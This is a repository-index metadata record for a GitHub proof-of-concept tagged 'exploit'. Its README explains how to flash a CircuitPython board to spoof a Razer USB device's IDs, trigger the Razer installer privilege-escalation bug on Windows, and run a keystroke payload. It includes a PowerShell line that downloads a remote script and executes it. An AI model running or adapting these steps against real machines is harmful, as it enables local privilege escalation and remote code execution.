{"id":18933348,"url":"https://github.com/synap5e/razor-eop-xiao","last_synced_at":"2025-04-15T16:34:28.741Z","repository":{"id":150507296,"uuid":"403793912","full_name":"synap5e/razor-eop-XIAO","owner":"synap5e","description":"Razor installer elevation of privilege trigger + automation with Seeeduino XIAO","archived":false,"fork":false,"pushed_at":"2021-09-07T03:43:54.000Z","size":6861,"stargazers_count":6,"open_issues_count":0,"forks_count":3,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-03-29T00:11:16.917Z","etag":null,"topics":["circuitpython","eop","exploit","micropython","privesc","razor"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/synap5e.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2021-09-07T00:37:43.000Z","updated_at":"2025-03-20T06:02:28.000Z","dependencies_parsed_at":"2023-04-05T10:32:18.446Z","dependency_job_id":null,"html_url":"https://github.com/synap5e/razor-eop-XIAO","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/synap5e%2Frazor-eop-XIAO","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/synap5e%2Frazor-eop-XIAO/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/synap5e%2Frazor-eop-XIAO/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/synap5e%2Frazor-eop-XIAO/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/synap5e","download_url":"https://codeload.github.com/synap5e/razor-eop-XIAO/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":249108938,"owners_count":21214089,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["circuitpython","eop","exploit","micropython","privesc","razor"],"created_at":"2024-11-08T11:54:13.161Z","updated_at":"2025-04-15T16:34:28.736Z","avatar_url":"https://github.com/synap5e.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"https://user-images.githubusercontent.com/2515062/132268952-057c93f4-9aee-4d4b-af35-2ac3cd875253.mp4\n\nDesigned for https://wiki.seeedstudio.com/Seeeduino-XIAO/, but should work on any board that can run circuitpython and has USB.\n\nEither compile your own, or use `Seeeduino_XIAO_fake_razor_firmware.uf2` if you are using the Seeeduino XIAO.\n\n# Howto\n\n1. Put board into load firmware mode (trigger reset twice for the XIAO)\n2. Put the firmware .uf2 file on the USB drive that appears\n3. Wait for chip to reboot. It should show up as a Raxor device (and start the installer if it hasnt already run on the PC)\n4. Adjust `main.py` to run your own payload, possibly also adjust wait time for installer to launch\n5. Put `boot.py`, `main.py` and `adafruit_hid` on the circuitpython drive\n\nTo re-trigger the Razor installer if it has already launched once, right click the device in `Control Panel\\Hardware and Sound\\Devices and Printers` and select `Remove Device` then re-plug the chip.\n\n# Building your own firmware\n\nClone https://github.com/adafruit/circuitpython and change `ports/\u003ccpu type\u003e/boards/\u003cboard\u003e/mpconfigboard.mk` (e.g. `ports/atmel-samd/boards/seeeduino_xiao/mpconfigboard.mk`) so that \n\n```\nUSB_VID = 0x1532\nUSB_PID = 0x023e\n```\n\nOptionally also set\n```\nUSB_PRODUCT = \"Razer device\"\nUSB_MANUFACTURER = \"SYSTEM EOP\"\n```\n\nthen build for that board.\n\n# Nyan\n\nRun `nyan.ps1` to get nyan cat (popping calc.exe is lame).\nUse `cmd /c start powershell -noexit -c \"iex (New-Object Net.WebClient).DownloadString('http://host/nyan.ps1')\"` to start in a new window.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsynap5e%2Frazor-eop-xiao","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsynap5e%2Frazor-eop-xiao","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsynap5e%2Frazor-eop-xiao/lists"}